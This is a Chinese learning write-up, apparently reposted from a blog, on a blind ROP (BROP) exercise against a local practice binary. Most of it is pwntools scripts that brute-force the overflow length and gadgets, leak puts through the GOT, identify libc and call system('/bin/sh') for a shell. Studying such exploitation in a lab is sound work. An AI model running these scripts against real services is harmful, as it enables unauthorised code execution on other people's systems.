概述
实例复现
先与程序交互
这里直接用本地服务器模拟远程的,但实际上不对原文件进行逆向分析。
其中asdasd为我任意输入的password,可以看出程序的基本交互。这里我们开始
爆破出buffer的长度
exp
from pwn import *
from LibcSearcher import LibcSearcher
def getBufferLength():
i=1
while 1:
try:
sh = process('./brop')
payload = i*'a'
sh.recvuntil('WelCome my friend,Do you know password?n')
sh.send(payload)
output = sh.recv()
if not output.startswith('No password'):
return i-1
else:
i+=1
except EOFError:
sh.close()
return i-1
length = getBufferLength()
log.success('length:'+str(length))
结果为,得知Buff的长度为72,利用的原理是:我们不断淹没缓冲区,直到淹没了返回地址程序会崩溃,而改变了canary程序则会报相应错误。(遇到有cannary时,如何进行stack reading? 我还不太会,第一次做canary时直接用puts函数打印出堆栈里的内容,而如果没有puts函数呢?)
寻找stop gadgets
exp
from pwn import *
length = 72
def getStopGadgets(length):
addr = 0x400000
while 1:
try:
sh = process('./brop')
payload = 'a'*length +p64(addr)
sh.recvuntil("password?n")
sh.sendline(payload)
output = sh.recvuntil("password?n")
sh.close()
print("one success addr 0x%x:" % (addr))
if not output.startswith('WelCome'):
sh.close()
addr+=1
else:
return addr
except Exception:
addr+=1
sh.close()
stop_gadgets = getStopGadgets(length)
print(hex(stop_gadgets))
找到了该地址,然后将该地址作为stop_addr,并且该地址是会回到mainh函数的。
接下来寻找plt表的gadgets
exp
length = 72
stop_gadget = 0x4005c0
def getBropGadget(length,stop_gadget,addr):
#为了找到 pop pop pop pop pop pop ret的 plt表
try:
sh = process('./brop')
payload = 'a'*length + p64(addr) +p64(0)*6 +p64(stop_gadget)+p64(0)*10
sh.recvuntil('password?n')
sh.sendline(payload)
content = sh.recv(100,3)
print(content)
sh.close()
if not content.startswith('WelCome'):
return False
return True
except Exception:
sh.close()
return False
def check(length,addr):
try:
sh = process('./brop')
payload = 'a'*length + p64(addr) +'a'*8*10
sh.recvuntil('password?n')
sh.sendline(payload)
content = sh.recv(100,3)
sh.close()
return False
except Exception:
sh.close()
return True
addr = 0x400500 #这里地址可以随便给一个比较低的,
while 1:
print hex(addr)
if getBropGadget(length,stop_gadget,addr):
log.success('possible addr:'+str(hex(addr)))
if check(length,addr):
print 'success addr: 0x%x' %addr
break
addr +=1
成功找到
确定puts@plt地址
(文中说使用找到的pltgadgets +9即为pop rdi,我在IDA里查到的并不是,但是有ROPgadget搜索到的确实是这样,这里我留下一个疑问待解决)
思路为使用0x400000处的0x7fELF作为puts函数即将打印的值,爆破出puts函数的地址,当遇到puts函数的时候,即可接受到该字符,判断找到Puts函数地址。
使用exp
from pwn import *
length = 72
stop_gadget = 0x4005c0
rdi_ret = 0x4007ba+9
def get_puts_addr(length, rdi_ret, stop_gadget):
addr=0x400000
while 1:
print hex(addr)
sh = process('./brop')
sh.recv(100,3)
payload = 'a'*length + p64(rdi_ret) + p64(0x400000) +p64(addr) +p64(stop_gadget)
sh.sendline(payload)
try:
output = sh.recv(100,3)
if output.startswith('x7fELF'):
print 'find puts addr: 0x%x' %addr
sh.close()
return addr
sh.close()
addr += 1
except Exception:
sh.close()
addr += 1
找到Puts函数地址为0x400555
之后开始利用Puts函数泄露出Puts函数的地址,并寻找到Libc的版本。
EXP
from pwn import *
length = 72
stop_gadget = 0x4005c0
rdi_ret = 0x4007ba+9
puts_plt=0x400555
def leak(length, rdi_ret, puts_plt, leak_addr, stop_gadget):
sh = process('./brop')
payload = 'a' * length + p64(rdi_ret) + p64(leak_addr) + p64(
puts_plt) + p64(stop_gadget)
sh.recvuntil('password?n')
sh.sendline(payload)
try: #第一个try是为了防止程序崩溃
data = sh.recv()
sh.close()
try: #第二个try是为了捕获 index()函数抛出的异常
data = data[:data.index("nWelCome")]
except Exception:
data = data
if data == "":
data = 'x00'
return data
except Exception:
sh.close()
return None
addr = 0x400000
result = ""
while addr<0x401000:
print hex(addr)
data = leak(length, rdi_ret, puts_plt, addr, stop_gadget)
if data is None:
continue
else:
result += data
addr += len(data)
with open('code.txt','wb') as f:
f.write(result)
将获取到的数据使用IDA打开,按C将数据转化为汇编指令。 可以看到
加上400000基址,所以puts@got表为 0x601010,后发现匹配不到libc版本,再次测试使用0x601018
接下来可以查看libc版本,找到其他函数的地址。并且找到bin/sh 与 system函数
from pwn import *
from LibcSearcher import LibcSearcher
length = 72
stop_gadget = 0x4005c0
rdi_ret = 0x4007ba+9
puts_plt = 0x400555
puts_got = 0x601018
sh = process('./brop')
sh.recvuntil('password?n')
payload = 'a'*length + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(stop_gadget)
sh.sendline(payload)
data = sh.recvuntil('nWelCome',drop=True)
puts_addr = u64(data.ljust(8,'x00'))
print(hex(puts_addr))
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
log.success('libc_base:0x%x' %libc_base)
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
payload = 'a' * length + p64(rdi_ret) + p64(binsh_addr) + p64(system_addr) + p64(stop_gadget)
sh.sendline(payload)
sh.interactive()
最后总结一下。1.先爆破出堆栈溢出的buff长度。2 爆破出stop_gadget 3爆破出连续六个pop一个ret的gadget. 4根据libc_csu_init的知识,得知gadget+9为pop edi,ret。5爆破出puts@plt地址 6爆破出puts@got地址 7打印出puts_addr 8利用puts_addr确定libc版本,找到system函数与binsh 调用。
最后
以上就是酷酷钥匙为你收集整理的pwn学习-中级ROP-BROP的全部内容,希望文章能够帮你解决pwn学习-中级ROP-BROP所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复